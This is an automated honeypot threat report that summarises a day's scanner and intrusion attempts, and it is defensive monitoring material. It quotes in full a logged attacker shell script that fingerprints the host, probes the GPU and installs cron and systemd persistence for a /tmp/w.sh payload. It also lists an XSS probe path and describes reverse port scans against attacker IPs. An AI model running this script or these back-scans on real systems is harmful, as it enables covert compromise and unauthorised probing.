Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 8c6976e5b5410415
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 60 scanner requests from 32 unique IPs (local, offline).
Top Paths Probed
- /
- /login
- /hachk.php
- /tmUnblock.cgi
- /archive/%22%3E%3Cscript%3Ealert(1)%3C/script%3E/
Top User-Agents
- Go-http-client/1.1
- curl/8.20.0
- Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)
- proxy-prefilter/1
- Mozilla/5.0
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **29** reverse port-scans against active attacker IPs. Out of these, **15** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 163 IPs → AbuseIPDB (community confidence scores updated) → 163 IPs → AlienVault OTX (pulse indicators added) → 163 IPs → Blocklist.de (auto-ban list updated) → 163 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
8c6976e5b5410415 💻 Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq echo $_dq$CRON$_dq | grep -F '/tmp/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq' >/dev/null 2>&1 || \ printf '%s\n%s\n' $_dq@reboot /tmp/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq$_dq $_dq0 * * * * cd $_dq/tmp$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab - sh -lc 'mkdir -p ~/.config/systemd/user && cat > ~/.config/systemd/user/watcher-netai.service && systemctl --user daemon-reload && systemctl --user enable --now watcher-netai.service' sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done' nvidia-smi -q | grep $_dqProduct Name$_dq | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 2 de septiembre de 2026. Recorded 1058 SSH connections and 32787 multi-protocol decoy events on HoneyAI, from 170 unique IPs. 163 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 449 login attempts from 25 unique IPs. Attackers executed 603 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 32787 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 145 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 60 HTTP requests from real scanners across 32 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 9 requests from 4 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 12471 authentication events from 4 IPs. The SNMP trap received 43 queries from 13 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 404 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 29 reverse port scans back to active attacker IPs. Out of these, 15 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 63612 alerts from 722 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.